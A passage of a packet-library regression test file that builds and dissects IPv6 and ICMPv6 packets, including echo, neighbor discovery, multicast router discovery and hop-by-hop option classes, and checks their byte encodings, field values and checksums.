G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x01\x00\x14e\x00\x00\x00\x00' = ICMPv6DestUnreach Class - Basic Build over IPv6 with some payload str(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach()/IPv6(src="2047::cafe", dst="2048::deca")) == '`\x00\x00\x00\x000:@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x01\x00\x8e\xa3\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@ G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca' = ICMPv6DestUnreach Class - Dissection with default values and some payload a = IPv6(str(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach()/IPv6(src="2047::cafe", dst="2048::deca"))) a.plen == 48 and a.nh == 58 and ICMPv6DestUnreach in a and a[ICMPv6DestUnreach].type == 1 and a[ICMPv6DestUnreach].code == 0 and a[ICMPv6DestUnreach].cksum == 0x8ea3 and a[ICMPv6DestUnreach].unused == 0 and IPerror6 in a = ICMPv6DestUnreach Class - Dissection with specific values a=IPv6(str(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach(code=1, cksum=0x6666, unused=0x7777)/IPv6(src="2047::cafe", dst="2048::deca"))) a.plen == 48 and a.nh == 58 and ICMPv6DestUnreach in a and a[ICMPv6DestUnreach].type == 1 and a[ICMPv6DestUnreach].cksum == 0x6666 and a[ICMPv6DestUnreach].unused == 0x7777 and IPerror6 in a[ICMPv6DestUnreach] = ICMPv6DestUnreach Class - checksum computation related stuff a=IPv6(str(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach(code=1, cksum=0x6666, unused=0x7777)/IPv6(src="2047::cafe", dst="2048::deca")/TCP())) b=IPv6(str(IPv6(src="2047::cafe", dst="2048::deca")/TCP())) a[ICMPv6DestUnreach][TCPerror].chksum == b.chksum ########### ICMPv6PacketTooBig Class ################################ = ICMPv6PacketTooBig Class - Basic Build (no argument) str(ICMPv6PacketTooBig()) == '\x02\x00\x00\x00\x00\x00\x05\x00' = ICMPv6PacketTooBig Class - Basic Build over IPv6 (for cksum and overload) str(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig()) == '`\x00\x00\x00\x00\x08:@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x02\x00\x0ee\x00\x00\x05\x00' = ICMPv6PacketTooBig Class - Basic Build over IPv6 with some payload str(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig()/IPv6(src="2047::cafe", dst="2048::deca")) == '`\x00\x00\x00\x000:@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x02\x00\x88\xa3\x00\x00\x05\x00`\x00\x00\x00\x00\x00;@ G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca' = ICMPv6PacketTooBig Class - Dissection with default values and some payload a = IPv6(str(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig()/IPv6(src="2047::cafe", dst="2048::deca"))) a.plen == 48 and a.nh == 58 and ICMPv6PacketTooBig in a and a[ICMPv6PacketTooBig].type == 2 and a[ICMPv6PacketTooBig].code == 0 and a[ICMPv6PacketTooBig].cksum == 0x88a3 and a[ICMPv6PacketTooBig].mtu == 1280 and IPerror6 in a True = ICMPv6PacketTooBig Class - Dissection with specific values a=IPv6(str(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig(code=2, cksum=0x6666, mtu=1460)/IPv6(src="2047::cafe", dst="2048::deca"))) a.plen == 48 and a.nh == 58 and ICMPv6PacketTooBig in a and a[ICMPv6PacketTooBig].type == 2 and a[ICMPv6PacketTooBig].code == 2 and a[ICMPv6PacketTooBig].cksum == 0x6666 and a[ICMPv6PacketTooBig].mtu == 1460 and IPerror6 in a = ICMPv6PacketTooBig Class - checksum computation related stuff a=IPv6(str(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig(code=1, cksum=0x6666, mtu=0x7777)/IPv6(src="2047::cafe", dst="2048::deca")/TCP())) b=IPv6(str(IPv6(src="2047::cafe", dst="2048::deca")/TCP())) a[ICMPv6PacketTooBig][TCPerror].chksum == b.chksum ########### ICMPv6TimeExceeded Class ################################ # To be done but not critical. Same mechanisms and format as # previous ones. ########### ICMPv6ParamProblem Class ################################ # See previous note ########### ICMPv6EchoRequest Class ################################# + Test ICMPv6EchoRequest Class = ICMPv6EchoRequest - Basic Instantiation str(ICMPv6EchoRequest()) == '\x80\x00\x00\x00\x00\x00\x00\x00' = ICMPv6EchoRequest - Instantiation with specific values str(ICMPv6EchoRequest(code=0xff, cksum=0x1111, id=0x2222, seq=0x3333, data="thisissomestring")) == '\x80\xff\x11\x11""33thisissomestring' = ICMPv6EchoRequest - Basic dissection a=ICMPv6EchoRequest('\x80\x00\x00\x00\x00\x00\x00\x00') a.type == 128 and a.code == 0 and a.cksum == 0 and a.id == 0 and a.seq == 0 and a.data == "" = ICMPv6EchoRequest - Dissection with specific values a=ICMPv6EchoRequest('\x80\xff\x11\x11""33thisissomestring') a.type == 128 and a.code == 0xff and a.cksum == 0x1111 and a.id == 0x2222 and a.seq == 0x3333 and a.data == "thisissomestring" = ICMPv6EchoRequest - Automatic checksum computation and field overloading (build) str(IPv6(dst="2001::cafe", src="2001::deca", hlim=64)/ICMPv6EchoRequest()) == '`\x00\x00\x00\x00\x08:@ \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x80\x00\x95\xf1\x00\x00\x00\x00' = ICMPv6EchoRequest - Automatic checksum computation and field overloading (dissection) a=IPv6('`\x00\x00\x00\x00\x08:@ \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x80\x00\x95\xf1\x00\x00\x00\x00') isinstance(a, IPv6) and a.nh == 58 and isinstance(a.payload, ICMPv6EchoRequest) and a.payload.cksum == 0x95f1 ########### ICMPv6EchoReply Class ################################### + Test ICMPv6EchoReply Class = ICMPv6EchoReply - Basic Instantiation str(ICMPv6EchoReply()) == '\x81\x00\x00\x00\x00\x00\x00\x00' = ICMPv6EchoReply - Instantiation with specific values str(ICMPv6EchoReply(code=0xff, cksum=0x1111, id=0x2222, seq=0x3333, data="thisissomestring")) == '\x81\xff\x11\x11""33thisissomestring' = ICMPv6EchoReply - Basic dissection a=ICMPv6EchoReply('\x80\x00\x00\x00\x00\x00\x00\x00') a.type == 128 and a.code == 0 and a.cksum == 0 and a.id == 0 and a.seq == 0 and a.data == "" = ICMPv6EchoReply - Dissection with specific values a=ICMPv6EchoReply('\x80\xff\x11\x11""33thisissomestring') a.type == 128 and a.code == 0xff and a.cksum == 0x1111 and a.id == 0x2222 and a.seq == 0x3333 and a.data == "thisissomestring" = ICMPv6EchoReply - Automatic checksum computation and field overloading (build) str(IPv6(dst="2001::cafe", src="2001::deca", hlim=64)/ICMPv6EchoReply()) == '`\x00\x00\x00\x00\x08:@ \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x81\x00\x94\xf1\x00\x00\x00\x00' = ICMPv6EchoReply - Automatic checksum computation and field overloading (dissection) a=IPv6('`\x00\x00\x00\x00\x08:@ \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x80\x00\x95\xf1\x00\x00\x00\x00') isinstance(a, IPv6) and a.nh == 58 and isinstance(a.payload, ICMPv6EchoRequest) and a.payload.cksum == 0x95f1 ########### ICMPv6EchoReply/Request answers() and hashret() ######### = ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 1 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(data="somedata") b.hashret() == a.hashret() # data are not taken into account for hashret = ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 2 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(data="otherdata") b.hashret() == a.hashret() = ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 3 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(id=0x6666, seq=0x7777,data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(id=0x6666, seq=0x8888, data="somedata") b.hashret() != a.hashret() = ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 4 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(id=0x6666, seq=0x7777,data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(id=0x8888, seq=0x7777, data="somedata") b.hashret() != a.hashret() = ICMPv6EchoRequest and ICMPv6EchoReply - answers() test 5 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(data="somedata") (a > b) == True = ICMPv6EchoRequest and ICMPv6EchoReply - answers() test 6 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(id=0x6666, seq=0x7777, data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(id=0x6666, seq=0x7777, data="somedata") (a > b) == True ########### ICMPv6MRD* Classes ###################################### = ICMPv6MRD_Advertisement - Basic instantiation str(ICMPv6MRD_Advertisement()) == '\x97\x14\x00\x00\x00\x00\x00\x00' = ICMPv6MRD_Advertisement - Instantiation with specific values str(ICMPv6MRD_Advertisement(advinter=0xdd, queryint=0xeeee, robustness=0xffff)) == '\x97\xdd\x00\x00\xee\xee\xff\xff' = ICMPv6MRD_Advertisement - Basic Dissection and overloading mechanisms a=Ether(str(Ether()/IPv6()/ICMPv6MRD_Advertisement())) a.dst == "33:33:00:00:00:02" and IPv6 in a and a[IPv6].plen == 8 and a[IPv6].nh == 58 and a[IPv6].hlim == 1 and a[IPv6].dst == "ff02::2" and ICMPv6MRD_Advertisement in a and a[ICMPv6MRD_Advertisement].type == 151 and a[ICMPv6MRD_Advertisement].advinter == 20 and a[ICMPv6MRD_Advertisement].queryint == 0 and a[ICMPv6MRD_Advertisement].robustness == 0 = ICMPv6MRD_Solicitation - Basic dissection str(ICMPv6MRD_Solicitation()) == '\x98\x00\x00\x00' = ICMPv6MRD_Solicitation - Instantiation with specific values str(ICMPv6MRD_Solicitation(res=0xbb)) == '\x98\xbb\x00\x00' = ICMPv6MRD_Solicitation - Basic Dissection and overloading mechanisms a=Ether(str(Ether()/IPv6()/ICMPv6MRD_Solicitation())) a.dst == "33:33:00:00:00:02" and IPv6 in a and a[IPv6].plen == 4 and a[IPv6].nh == 58 and a[IPv6].hlim == 1 and a[IPv6].dst == "ff02::2" and ICMPv6MRD_Solicitation in a and a[ICMPv6MRD_Solicitation].type == 152 and a[ICMPv6MRD_Solicitation].res == 0 = ICMPv6MRD_Termination Basic instantiation str(ICMPv6MRD_Termination()) == '\x99\x00\x00\x00' = ICMPv6MRD_Termination - Instantiation with specific values str(ICMPv6MRD_Termination(res=0xbb)) == '\x99\xbb\x00\x00' = ICMPv6MRD_Termination - Basic Dissection and overloading mechanisms a=Ether(str(Ether()/IPv6()/ICMPv6MRD_Termination())) a.dst == "33:33:00:00:00:6a" and IPv6 in a and a[IPv6].plen == 4 and a[IPv6].nh == 58 and a[IPv6].hlim == 1 and a[IPv6].dst == "ff02::6a" and ICMPv6MRD_Termination in a and a[ICMPv6MRD_Termination].type == 153 and a[ICMPv6MRD_Termination].res == 0 ########### HBHOptUnknown Class ############################################## + Test HBHOptUnknown Class = HBHOptUnknown - Basic Instantiation str(HBHOptUnknown()) == '\x01\x00' = HBHOptUnknown - Basic Dissection a=HBHOptUnknown('\x01\x00') a.otype == 0x01 and a.optlen == 0 and a.optdata == "" = HBHOptUnknown - Automatic optlen computation str(HBHOptUnknown(optdata="B"*10)) == '\x01\nBBBBBBBBBB' = HBHOptUnknown - Instantiation with specific values str(HBHOptUnknown(optlen=9, optdata="B"*10)) == '\x01\tBBBBBBBBBB' = HBHOptUnknown - Dissection with specific values a=HBHOptUnknown('\x01\tBBBBBBBBBB') a.otype == 0x01 and a.optlen == 9 and a.optdata == "B"*9 and isinstance(a.payload, Raw) and a.payload.load == "B" ########### Pad1 Class ############################################## + Test Pad1 Class = Pad1 - Basic Instantiation str(Pad1()) == '\x00' = Pad1 - Basic Dissection str(Pad1('\x00')) == '\x00' ########### PadN Class ############################################## + Test PadN Class = PadN - Basic Instantiation str(PadN()) == '\x01\x00' = PadN - Optlen Automatic computation str(PadN(optdata="B"*10)) == '\x01\nBBBBBBBBBB' = PadN - Basic Dissection a=PadN('\x01\x00') a.otype == 1 and a.optlen == 0 and a.optdata == '' = PadN - Dissection with specific values a=PadN('\x01\x0cBBBBBBBBBB') a.otype == 1 and a.optlen == 12 and a.optdata == 'BBBBBBBBBB' = PadN - Instantiation with forced optlen str(PadN(optdata="B"*10, optlen=9)) == '\x01\x09BBBBBBBBBB' ########### RouterAlert Class ####################################### + Test RouterAlert Class (RFC 2711) = RouterAlert - Basic Instantiation str(RouterAlert()) == '\x05\x02\x00\x00' = RouterAlert - Basic Dissection a=RouterAlert('\x05\x02\x00\x00') a.otype == 0x05 and a.optlen == 2 and a.value == 00 = RouterAlert - Instantiation with specific values str(RouterAlert(optlen=3, value=0xffff)) == '\x05\x03\xff\xff' = RouterAlert - Instantiation with specific values a=RouterAlert('\x05\x03\xff\xff') a.otype == 0x05 and a.optlen == 3 and a.value == 0xffff ########### Jumbo Class ############################################ + Test Jumbo Class (RFC 2675) = Jumbo - Basic Instantiation str(Jumbo()) == '\xc2\x04\x00\x00\x00\x00' = Jumbo - Basic Dissection a=Jumbo('\xc2\x04\x00\x00\x00\x00') a.otype == 0xC2 and a.optlen == 4 and a.jumboplen == 0 = Jumbo - Instantiation with specific values str(Jumbo(optlen=6, jumboplen=0xffffffff)) == '\xc2\x06\xff\xff\xff\xff' = Jumbo - Dissection with specific values a=Jumbo('\xc2\x06\xff\xff\xff\xff') a.otype == 0xc2 and a.optlen == 6 and a.jumboplen == 0xffffffff ########### HAO Class ############################################## + Test HAO Class (RFC 3775) = HAO - Basic Instantiation str(HAO()) == '\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = HAO - Basic Dissection a=HAO('\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.otype == 0xC9 and a.optlen == 16 and a.hoa == "::" = HAO - Instantiation with specific values str(HAO(optlen=9, hoa="2001::ffff")) == '\xc9\t \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff' = HAO - Dissection with specific values a=HAO('\xc9\t \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff') a.otype == 0xC9 and a.optlen == 9 and a.hoa == "2001::ffff" ########### IPv6ExtHdrHopByHop Class ########################## + Test IPv6ExtHdrHopByHop() = IPv6ExtHdrHopByHop - Basic Instantiation str(IPv6ExtHdrHopByHop()) == ';\x00\x01\x04\x00\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with HAO option str(IPv6ExtHdrHopByHop(options=[HAO()])) == ';\x02\x01\x02\x00\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with RouterAlert option str(IPv6ExtHdrHopByHop(options=[RouterAlert()])) == ';\x00\x05\x02\x00\x00\x01\x00' = IPv6ExtHdrHopByHop - Instantiation with Jumbo option str(IPv6ExtHdrHopByHop(options=[Jumbo()])) == ';\x00\xc2\x04\x00\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with Pad1 option str(IPv6ExtHdrHopByHop(options=[Pad1()])) == ';\x00\x00\x01\x03\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with PadN option str(IPv6ExtHdrHopByHop(options=[Pad1()])) == ';\x00\x00\x01\x03\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with Jumbo, RouterAlert, HAO str(IPv6ExtHdrHopByHop(options=[Jumbo(), RouterAlert(), HAO()])) == ';\x03\xc2\x04\x00\x00\x00\x00\x05\x02\x00\x00\x01\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with HAO, Jumbo, RouterAlert str(IPv6ExtHdrHopByHop(options=[HAO(), Jumbo(), RouterAlert()])) == ';\x04\x01\x02\x00\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\xc2\x04\x00\x00\x00\x00\x05\x02\x00\x00\x01\x02\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with RouterAlert, HAO, Jumbo str(IPv6ExtHdrHopByHop(options=[RouterAlert(), HAO(), Jumbo()])) == ';\x03\x05\x02\x00\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\xc2\x04\x00\x00\x00\x00' = IPv6ExtHdrHopByHop - Basic Dissection a=IPv6ExtHdrHopByHop(';\x00\x01\x04\x00\x00\x00\x00') a.nh == 59 and a.len == 0 and len(a.options) == 1 and isinstance(a.options[0], PadN) and a.options[0].otype == 1 and a.options[0].optlen == 4 and a.options[0].optdata == '\x00'*4 #= IPv6ExtHdrHopByHop - Automatic length computation #str(IPv6ExtHdrHopByHop(options=["toto"])) == '\x00\x00toto' #= IPv6ExtHdrHopByHop - Automatic length computation #str(IPv6ExtHdrHopByHop(options=["toto"])) == '\x00\x00tototo' ########### ICMPv6ND_RS Class ####################################### + Test ICMPv6ND_RS() class - ICMPv6 Type 133 Code 0 = ICMPv6ND_RS - Basic instantiation str(ICMPv6ND_RS()) == '\x85\x00\x00\x00\x00\x00\x00\x00' = ICMPv6ND_RS - Basic instantiation with empty dst in IPv6 underlayer str(IPv6(src="2001:db8::1")/ICMPv6ND_RS()) == '`\x00\x00\x00\x00\x08:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x85\x00M\xfe\x00\x00\x00\x00' = ICMPv6ND_RS - Basic dissection a=ICMPv6ND_RS('\x85\x00\x00\x00\x00\x00\x00\x00') a.type == 133 and a.code == 0 and a.cksum == 0 and a.res == 0 = ICMPv6ND_RS - Basic instantiation with empty dst in IPv6 underlayer a=IPv6('`\x00\x00\x00\x00\x08:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x85\x00M\xfe\x00\x00\x00\x00') isinstance(a, IPv6) and a.nh == 58 and a.hlim == 255 and isinstance(a.payload, ICMPv6ND_RS) and a.payload.type == 133 and a.payload.code == 0 and a.payload.cksum == 0x4dfe and a.payload.res == 0 ########### ICMPv6ND_RA Class ####################################### + Test ICMPv6ND_RA() class - ICMPv6 Type 134 Code 0 = ICMPv6ND_RA - Basic Instantiation str(ICMPv6ND_RA()) == '\x86\x00\x00\x00\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6ND_RA - Basic instantiation with empty dst in IPv6 underlayer str(IPv6(src="2001:db8::1")/ICMPv6ND_RA()) == '`\x00\x00\x00\x00\x10:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x86\x00E\xe7\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6ND_RA - Basic dissection a=ICMPv6ND_RA('\x86\x00\x00\x00\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 134 and a.code == 0 and a.cksum == 0 and a.chlim == 0 and a.M == 0 and a.O == 0 and a.H == 0 and a.prf == 1 and a.res == 0 and a.routerlifetime == 1800 and a.reachabletime == 0 and a.retranstimer == 0 = ICMPv6ND_RA - Basic instantiation with empty dst in IPv6 underlayer a=IPv6('`\x00\x00\x00\x00\x10:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x86\x00E\xe7\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00') isinstance(a, IPv6) and a.nh == 58 and a.hlim == 255 and isinstance(a.payload, ICMPv6ND_RA) and a.payload.type == 134 and a.code == 0 and a.cksum == 0x45e7 and a.chlim == 0 and a.M == 0 and a.O == 0 and a.H == 0 and a.prf == 1 and a.res == 0 and a.routerlifetime == 1800 and a.reachabletime == 0 and a.retranstimer == 0 # TODO: Add answers()/Hashret() tests ( think about Cisco routers # that reply with mcast RA to mcast rs ) ########### ICMPv6ND_NS Class ####################################### + ICMPv6ND_NS Class Test = ICMPv6ND_NS - Basic Instantiation str(ICMPv6ND_NS()) == '\x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6ND_NS - Instantiation with specific values str(ICMPv6ND_NS(code=0x11, res=3758096385, tgt="ffff::1111")) == '\x87\x11\x00\x00\xe0\x00\x00\x01\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6ND_NS - Basic Dissection a=ICMPv6ND_NS('\x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.code==0 and a.res==0 and a.tgt=="::" = ICMPv6ND_NS - Dissection with specific values a=ICMPv6ND_NS('\x87\x11\x00\x00\xe0\x00\x00\x01\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.code==0x11 and a.res==3758096385 and a.tgt=="ffff::1111" = ICMPv6ND_NS - IPv6 layer fields overloading a=IPv6(str(IPv6()/ICMPv6ND_NS())) a.nh == 58 and a.dst=="ff02::1" and a.hlim==255 ########### ICMPv6ND_NA Class ####################################### + ICMPv6ND_NA Class Test = ICMPv6ND_NA - Basic Instantiation str(ICMPv6ND_NA()) == '\x88\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6ND_NA - Instantiation with specific values str(ICMPv6ND_NA(code=0x11, R=0, S=1, O=0, res=1, tgt="ffff::1111")) == '\x88\x11\x00\x00@\x00\x00\x01\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6ND_NA - Basic Dissection a=ICMPv6ND_NA('\x88\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.code==0 and a.R==0 and a.S==0 and a.O==0 and a.res==0 and a.tgt=="::" = ICMPv6ND_NA - Dissection with specific values a=ICMPv6ND_NA('\x88\x11\x00\x00@\x00\x00\x01\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.code==0x11 and a.R==0 and a.S==1 and a.O==0 and a.res==1 and a.tgt=="ffff::1111" = ICMPv6ND_NS - IPv6 layer fields overloading a=IPv6(str(IPv6()/ICMPv6ND_NS())) a.nh == 58 and a.dst=="ff02::1" and a.hlim==255 ########### ICMPv6ND_NS/ICMPv6ND_NA matching ######################## + ICMPv6ND_ND/ICMPv6ND_ND matching test = ICMPv6ND_ND/ICMPv6ND_ND matching - test 1 # Sent NS a=IPv6('`\x00\x00\x00\x00\x18:\xff\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f\x1f\xff\xfe\xcaFP\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x87\x00UC\x00\x00\x00\x00\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f4\xff\xfe\x8a\x8a\xa1') # Received NA b=IPv6('n\x00\x00\x00\x00 :\xff\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f4\xff\xfe\x8a\x8a\xa1\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f\x1f\xff\xfe\xcaFP\x88\x00\xf3F\xe0\x00\x00\x00\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f4\xff\xfe\x8a\x8a\xa1\x02\x01\x00\x0f4\x8a\x8a\xa1') b.answers(a) ########### ICMPv6NDOptUnknown Class ################################ + ICMPv6NDOptUnknown Class Test = ICMPv6NDOptUnknown - Basic Instantiation str(ICMPv6NDOptUnknown()) == '\x00\x02' = ICMPv6NDOptUnknown - Instantiation with specific values str(ICMPv6NDOptUnknown(len=4, data="somestring")) == '\x00\x04somestring' = ICMPv6NDOptUnknown - Basic Dissection a=ICMPv6NDOptUnknown('\x00\x02') a.type == 0 and a.len == 2 = ICMPv6NDOptUnknown - Dissection with specific values a=ICMPv6NDOptUnknown('\x00\x04somestring') a.type == 0 and a.len==4 and a.data == "so" and isinstance(a.payload, Raw) and a.payload.load == "mestring" ########### ICMPv6NDOptSrcLLAddr Class ############################## + ICMPv6NDOptSrcLLAddr Class Test = ICMPv6NDOptSrcLLAddr - Basic Instantiation str(ICMPv6NDOptSrcLLAddr()) == '\x01\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptSrcLLAddr - Instantiation with specific values str(ICMPv6NDOptSrcLLAddr(len=2, lladdr="11:11:11:11:11:11")) == '\x01\x02\x11\x11\x11\x11\x11\x11' = ICMPv6NDOptSrcLLAddr - Basic Dissection a=ICMPv6NDOptSrcLLAddr('\x01\x01\x00\x00\x00\x00\x00\x00') a.type == 1 and a.len == 1 and a.lladdr == "00:00:00:00:00:00" = ICMPv6NDOptSrcLLAddr - Instantiation with specific values a=ICMPv6NDOptSrcLLAddr('\x01\x02\x11\x11\x11\x11\x11\x11') a.type == 1 and a.len == 2 and a.lladdr == "11:11:11:11:11:11" ########### ICMPv6NDOptDstLLAddr Class ############################## + ICMPv6NDOptDstLLAddr Class Test = ICMPv6NDOptDstLLAddr - Basic Instantiation str(ICMPv6NDOptDstLLAddr()) == '\x02\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptDstLLAddr - Instantiation with specific values str(ICMPv6NDOptDstLLAddr(len=2, lladdr="11:11:11:11:11:11")) == '\x02\x02\x11\x11\x11\x11\x11\x11' = ICMPv6NDOptDstLLAddr - Basic Dissection a=ICMPv6NDOptDstLLAddr('\x02\x01\x00\x00\x00\x00\x00\x00') a.type == 2 and a.len == 1 and a.lladdr == "00:00:00:00:00:00" = ICMPv6NDOptDstLLAddr - Instantiation with specific values a=ICMPv6NDOptDstLLAddr('\x02\x02\x11\x11\x11\x11\x11\x11') a.type == 2 and a.len == 2 and a.lladdr == "11:11:11:11:11:11" ########### ICMPv6NDOptPrefixInfo Class ############################# + ICMPv6NDOptPrefixInfo Class Test = ICMPv6NDOptPrefixInfo - Basic Instantiation str(ICMPv6NDOptPrefixInfo()) == '\x03\x04\x00\xc0\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptPrefixInfo - Instantiation with specific values str(ICMPv6NDOptPrefixInfo(len=5, prefixlen=64, L=0, A=0, R=1, res1=1, validlifetime=0x11111111, preferredlifetime=0x22222222, res2=0x33333333, prefix="2001:db8::1")) == '\x03\x05@!\x11\x11\x11\x11""""3333 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = ICMPv6NDOptPrefixInfo - Basic Dissection a=ICMPv6NDOptPrefixInfo('\x03\x04\x00\xc0\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 3 and a.len == 4 and a.prefixlen == 0 and a.L == 1 and a.A == 1 and a.R == 0 and a.res1 == 0 and a.validlifetime == 0xffffffff and a.preferredlifetime == 0xffffffff and a.res2 == 0 and a.prefix == "::" = ICMPv6NDOptPrefixInfo - Instantiation with specific values a=ICMPv6NDOptPrefixInfo('\x03\x05@!\x11\x11\x11\x11""""3333 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.type == 3 and a.len == 5 and a.prefixlen == 64 and a.L == 0 